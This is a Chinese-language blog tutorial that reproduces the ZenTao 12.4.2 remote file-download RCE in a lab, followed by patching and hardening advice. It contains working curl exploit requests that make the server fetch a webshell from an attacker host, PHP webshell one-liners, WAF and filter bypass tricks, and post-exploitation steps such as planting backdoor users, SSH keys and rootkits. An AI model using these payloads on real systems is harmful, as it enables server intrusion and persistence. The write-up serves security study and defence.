禅道文件下载漏洞复现:从原理到RCE实战与安全加固

1. 项目概述与漏洞背景

最近在整理内部安全资产时,又回顾了一下禅道项目管理系统的几个历史高危漏洞。CNVD-C-2020-121325 这个编号可能很多人不熟悉,但提到“禅道12.4.2及之前版本的文件上传导致远程代码执行漏洞”,在安全圈里算是老熟人了。这个漏洞的利用链清晰,影响范围广,在2020年那会儿,不少企业的内网禅道服务器都因为这个洞被打了。即便现在新版本已经修复,但作为渗透测试人员和安全研究者,理解它的成因和复现过程,对于挖掘同类逻辑漏洞、加固自身系统都很有价值。简单来说,这个漏洞的核心在于禅道系统在处理文件下载功能时,对用户可控的“下载链接”参数(link)过滤不严,攻击者可以构造恶意链接,让服务器从远程地址下载一个包含恶意代码的脚本文件,并保存到web可访问目录,最终实现远程代码执行。整个过程不需要身份认证,属于前台漏洞,危害极大。今天,我就从一个实战演练的角度,带大家完整走一遍这个漏洞的复现过程,并深入拆解每一步背后的原理和防御思路。

2. 漏洞原理深度解析

2.1 漏洞触发点定位

要理解这个漏洞,首先得知道禅道在哪里出了问题。漏洞的根源位于/module/file/control.php文件中的download方法。这个方法的本意是提供一个文件下载功能,允许用户通过一个link参数指定远程文件的URL,然后由服务器去拉取这个文件并返回给用户,或者保存到本地。

我们来看一下问题代码的逻辑(以下为简化后的伪代码逻辑):

public function download($fileID, $link, $type = ‘file’) { // … 一些前置检查 … if(!empty($link)) { // 从link参数指定的URL下载文件 $fileContent = $this->file->getFile($link); // 生成一个本地临时文件名 $filePath = $this->file->savePath . $fileName; // 将下载的内容写入本地文件 file_put_contents($filePath, $fileContent); // … 后续可能触发文件包含或直接访问 … } }

问题的关键就在这里:$link这个参数是用户通过HTTP请求直接传入的,而代码中没有对$link指向的URL地址进行严格的合法性校验。攻击者可以将其指向一个自己控制的服务器,该服务器返回的内容完全由攻击者决定。

2.2 利用链构造:从文件上传到RCE

单纯的“能下载任意远程文件到服务器”并不直接等于“能执行代码”。禅道的这个漏洞之所以能升级为RCE,是因为它巧妙地结合了服务器的两个特性:

  1. 可控的文件内容与后缀:攻击者可以在自己的恶意服务器上放置一个内容为PHP代码的文本文件,并将该文件的访问链接作为link参数传入。由于代码没有检查下载文件的内容类型和后缀,服务器会忠实地将这个PHP代码文件下载并保存到本地。
  2. 已知的、可Web访问的保存路径:禅道下载的文件会保存到一个固定的、可通过Web访问的目录下(例如www/zentao/tmp/)。这意味着,只要攻击者知道最终保存的文件名,就能通过浏览器直接访问这个文件。当Web服务器(如Apache)解析到.php后缀的文件时,就会执行其中的PHP代码。

所以,完整的利用链是:构造恶意PHP文件 -> 托管在攻击者服务器 -> 通过未过滤的link参数诱使禅道服务器下载 -> 文件被保存到Web目录 -> 直接访问该文件触发代码执行

注意:这里有一个常见的误解。有些文章称其为“文件上传漏洞”,严格来说,它并非通过传统的HTTP文件上传表单实现,而是利用“服务器端远程文件下载”功能,实现了“将任意文件写入服务器”的效果,其危害与文件上传漏洞等同。理解这点对后续的漏洞挖掘很重要,不要只盯着move_uploaded_file这类函数。

2.3 影响版本与环境搭建

根据公开信息,该漏洞影响禅道(Zentao)<= 12.4.2 的版本。为了安全地复现,我们必须在隔离的环境中进行。

复现环境准备:

  • 靶机:一台安装有禅道 12.4.2 或更低版本的虚拟机。可以从禅道官网下载历史版本安装包。推荐使用一键安装包在CentOS 7或Ubuntu虚拟机中部署。
  • 攻击机:一台Kali Linux虚拟机,用于发起攻击和托管恶意文件。
  • 网络:确保攻击机和靶机在同一网络段,可以互相访问。我通常使用VirtualBox或VMware搭建一个仅主机(Host-Only)模式的虚拟网络。

搭建要点:

  1. 下载禅道12.4.2的一键安装包(.zip.tar.gz格式)。
  2. 在靶机(如CentOS 7)上,解压安装包到/opt目录。
  3. 运行安装脚本/opt/zbox/zbox start启动Apache和MySQL服务。
  4. 通过浏览器访问靶机IP,按照向导完成禅道的安装配置。
  5. 安装成功后,访问http://靶机IP/zentao/应能看到禅道登录页面。

实操心得:在虚拟机中复现时,务必拍摄快照。方便在复现过程中出错或想重新开始时快速回滚。同时,关闭虚拟机的自动更新和网络共享,确保实验环境纯净。

3. 漏洞复现实操步骤

3.1 信息收集与漏洞探测

在发起攻击前,我们需要确认目标是否存在漏洞。首先访问禅道首页,查看页面底部或登录页面,通常会有版本信息。如果无法直接获取,可以尝试访问一些默认路径或利用指纹识别工具。

更直接的方式是探测漏洞路径。该漏洞的利用入口是/zentao/file-download-这样的路径(具体URL可能因版本有小差异)。我们可以用一个简单的请求来测试参数是否接受:

# 使用curl探测,这里的link参数先指向一个无害的地址 curl -v “http://<靶机IP>/zentao/file-download-<随机ID>.html?link=http://<攻击机IP>/test.txt”

如果服务器响应中没有明显的错误(如参数不存在),或者去查看禅道的tmp目录下是否出现了下载的文件,就能初步判断该端点可用。

关键步骤:确定Web可访问的临时目录路径。这是成功利用的关键。我们需要知道禅道把下载的文件放在哪里。通过查看源码或经验,常见的路径是www/zentao/tmp/。我们可以通过触发一个正常的文件下载功能(如果存在的话),或者利用其他信息泄露漏洞,来确认这个绝对路径。在复现环境中,因为我们自己搭建的,路径是已知的,例如/opt/zbox/app/zentao/www/tmp/

3.2 恶意文件准备与托管

在攻击机(Kali)上,我们需要做两件事:编写恶意PHP文件,并启动一个Web服务器来托管它。

  1. 编写Webshell: 在Kali上创建一个文件,比如叫shell.php,内容是最简单的PHP一句话木马:

    <?php @eval($_REQUEST[‘cmd’]);?>

    为了增加隐蔽性,或者绕过一些简单的内容检查,可以稍微变形:

    <?php // 使用assert函数 $c = $_GET[‘c’]; assert($c); ?>

    或者使用system函数直接执行系统命令:

    <?php system($_GET[‘cmd’]); ?>

    我将使用system的版本,因为它更直观,便于演示命令执行效果。

  2. 启动简易HTTP服务器: 在存放shell.php的目录下,使用Python快速启动一个HTTP服务:

    python3 -m http.server 8000

    这会在攻击机的8000端口启动一个Web服务。确保靶机可以访问到http://<攻击机IP>:8000/shell.php

3.3 构造并发送漏洞利用请求

这是最核心的一步。我们需要向禅道的漏洞端点发送一个HTTP请求,其中的link参数指向我们刚刚托管的恶意文件。

利用工具:Burp Suite 或直接使用curl命令。 我习惯用Burp Suite,因为它方便修改和重放请求。

利用请求示例:

POST /zentao/file-download-1.html HTTP/1.1 Host: <靶机IP> Content-Type: application/x-www-form-urlencoded … 其他头部 … link=http://<攻击机IP>:8000/shell.php&fileName=exploit.php

参数解释:

  • link:指向攻击者服务器上的恶意PHP文件。
  • fileName这个参数至关重要。它指定了文件被保存到服务器时的名称。我们必须将其指定为.php后缀,例如exploit.php。如果这个参数不可控或服务器有重命名机制,利用难度会大大增加。在这个漏洞中,fileName通常是可控或可预测的。

使用cURL的命令行版本:

curl -X POST “http://<靶机IP>/zentao/file-download-1.html” -d “link=http://<攻击机IP>:8000/shell.php&fileName=cmd.php”

发送请求后,如果漏洞存在且利用成功,禅道服务器会向我们的攻击机发起请求,下载shell.php文件的内容,并将其以cmd.php的名字保存到自己的临时目录下。

3.4 验证漏洞与执行命令

发送利用请求后,如何验证是否成功?

  1. 查看攻击机服务器日志:在运行Python HTTP服务的终端,如果看到来自靶机IP的访问GET /shell.php的记录,说明靶机确实尝试下载了我们的恶意文件,这是成功的第一步。
  2. 访问Webshell:假设我们确定的临时目录是tmp/,且保存的文件名是cmd.php。那么,在浏览器中直接访问:http://<靶机IP>/zentao/tmp/cmd.php?cmd=whoami这个URL会向cmd.php传递一个参数cmd,其值为系统命令whoami。如果页面上显示了执行结果(例如www-dataapache),则证明远程代码执行成功。

进一步利用:成功执行whoami后,就可以执行更复杂的命令,来收集服务器信息、建立持久化后门等。

  • cmd=id:查看当前用户权限。
  • cmd=pwd:查看当前工作目录,再次确认Web根目录。
  • cmd=ls -la /:列出根目录文件。
  • cmd=cat /etc/passwd:查看系统用户。

注意事项:在实际渗透测试中,直接使用system($_GET[‘cmd’])这种Webshell很容易被安全设备检测到。在验证漏洞后,应使用更隐蔽的方式,如编码命令、使用wget下载更复杂的木马,或者直接反弹Shell到监听端口。

4. 漏洞修复与安全加固建议

复现漏洞是为了更好地防御。针对这个漏洞,我们可以从多个层面进行防护。

4.1 官方补丁与版本升级

最根本的解决方案是升级禅道到安全版本。禅道官方在漏洞披露后迅速发布了修复补丁。对于12.4.2及之前版本的用户,应立即升级到最新版本。官方修复方案通常包括:

  1. link参数进行严格过滤:检查URL是否指向允许的白名单域名或内网地址,禁止从任意远程地址下载文件。
  2. 对下载的文件内容进行安全检查:检查文件头、MIME类型,防止将可执行脚本保存为可访问的文件。
  3. 对保存的文件名进行重命名:使用不可预测的随机文件名(如UUID),避免攻击者直接访问。
  4. 将文件保存到非Web可访问目录:即使文件被下载,也无法通过HTTP直接访问。

升级步骤

  1. 备份当前禅道的数据库和代码文件。
  2. 从官网下载最新版本的升级包。
  3. 按照官方提供的升级文档,逐步执行升级脚本。
  4. 升级完成后,彻底检查所有自定义代码和插件是否兼容。

4.2 临时缓解措施

如果因为某些原因无法立即升级,可以采取以下临时措施:

  • 网络层防护:在防火墙或WAF(Web应用防火墙)上设置规则,拦截对/file-download-等危险路径的异常访问,特别是包含远程URL链接的请求。
  • 应用层防护:修改禅道源码,在/module/file/control.phpdownload方法中,直接禁用link参数功能,或添加强效的白名单校验。例如:
    public function download($fileID, $link, $type = ‘file’) { // 临时修复:禁止使用远程link参数 if(!empty($link)) { die(‘Remote file download is disabled for security reasons.’); } // … 原有代码 … }
  • 文件系统监控:对禅道的tmp目录进行文件系统监控,告警任何新创建的.php.jsp.asp等可执行脚本文件。

4.3 安全开发规范启示

这个漏洞给所有开发者上了一课:

  1. 永远不要信任用户输入linkfileName这类参数必须经过严格的验证和过滤。验证应包括:长度、字符集、格式(是否符合URL规范)、所属域名(是否在允许列表内)。
  2. 最小权限原则:服务器进程(如Apache的www-data用户)应仅拥有必要的最小权限。即使文件被写入,也应限制其执行权限。可以考虑将文件下载到chroot环境或具有noexec挂载选项的目录。
  3. 避免服务器发起非受控的外部请求:功能设计上,应尽量避免让服务器根据用户输入去访问外部资源。如果必须,则应使用严格的代理和白名单机制。
  4. 安全的文件处理流程:对于用户上传或系统生成的文件,应采用“重命名”(使用随机哈希值)、“隔离存储”(非Web目录)、“权限控制”(不可执行)、“内容扫描”(查杀恶意代码)的组合拳。

5. 漏洞复现中的常见问题与排查

在复现过程中,你可能会遇到一些问题。这里我总结几个常见的坑和解决办法。

5.1 复现失败问题排查表

问题现象可能原因排查步骤与解决方案
攻击机HTTP服务无访问日志1. 靶机与攻击机网络不通。
2. 漏洞路径不正确。
3. 禅道服务未正常运行。
1. 用ping命令检查靶机与攻击机互通性。
2. 使用netstat -tulnp检查禅道Apache服务是否在80端口监听。
3. 尝试访问禅道首页,确认服务正常。
4. 查看禅道源码,确认download方法的确切URL路由。
有下载日志,但无法访问Webshell1. 文件保存路径猜测错误。
2. 文件名不可控或被重命名。
3. 文件内容被服务器处理或过滤。
1. 登录禅道服务器,在可能的所有tmpupload目录下按时间查找新文件:find /opt/zbox/app/zentao/www -name “*.php” -mmin -5
2. 检查利用请求中的fileName参数是否有效,尝试使用不同的参数名(如name,file)。
3. 检查恶意文件内容是否被服务器端的杀毒软件或安全模块过滤。尝试使用不同的PHP代码包装。
访问Webshell返回空白或错误1. PHP代码语法错误。
2.system等危险函数被禁用。
3. 开启了open_basedir等安全限制。
1. 在攻击机本地用php -l shell.php检查语法。
2. 尝试使用其他函数,如passthru(),shell_exec(), 反引号`,或file_get_contents(‘php://input’)读取POST数据。
3. 在Webshell中输出phpinfo(),查看服务器PHP配置,确认函数是否被禁用。
请求被WAF或防火墙拦截目标环境存在安全防护设备。1. 尝试对请求参数进行编码(如URL编码、Base64编码)。
2. 更改请求方法(GET/POST互换)。
3. 添加正常的HTTP头部,模拟浏览器请求。
4. 使用分块传输、脏数据填充等技术绕过。

5.2 高级利用技巧与绕过

在更严格的环境下,基础的利用方式可能失效,需要一些技巧:

  • 绕过fileName后缀限制:如果后端代码强制修改后缀,可以尝试利用路径穿越或空字节截断(在PHP老版本中),如fileName=../../../www/exploit.php%00.jpg。或者利用服务器解析漏洞,如exploit.php.jpg在某些配置下仍被解析为PHP。
  • 绕过内容过滤:如果服务器检查文件内容是否包含<?php标签,可以尝试使用短标签<?=<script language=”php”>,或者将代码编码后通过evalassert动态解码执行。
  • 无回显命令执行:如果命令执行了但没有输出到页面(盲注),可以使用延时、DNS外带、HTTP请求外带等方式判断命令是否执行。例如:cmd=ping -c 4 <攻击机IP>,然后在攻击机用tcpdump监听ICMP包。

5.3 内网渗透中的延伸利用

一旦在禅道上获得RCE权限,它往往是一个进入内网的绝佳跳板。

  1. 信息收集:立即运行命令收集网络信息 (ifconfig,ip route)、用户信息 (cat /etc/passwd)、进程信息 (ps aux)、其他内网资产 (arp -a)。
  2. 权限提升:检查内核版本、SUID文件、sudo权限、计划任务等,尝试提权到root。禅道服务器可能以较高权限运行。
  3. 内网横向移动:利用当前服务器作为代理,扫描和攻击内网其他机器。可以上传nmapfrpreGeorg等工具。
  4. 持久化后门:写入Webshell、创建后门用户、添加SSH密钥、安装Rootkit等,确保权限不丢失。

在整个复现和渗透过程中,务必在授权和隔离的环境中进行,并深刻理解每一步操作的潜在影响。漏洞复现的目的始终是提升防御能力,修补自身系统的短板。通过对CNVD-C-2020-121325这个经典漏洞的深入剖析,我们不仅掌握了一种攻击方法,更重要的是建立起对“用户输入验证”、“服务器端请求伪造(SSRF)”、“不安全文件操作”等安全问题的条件反射,在未来的开发和审计工作中能主动识别和规避同类风险。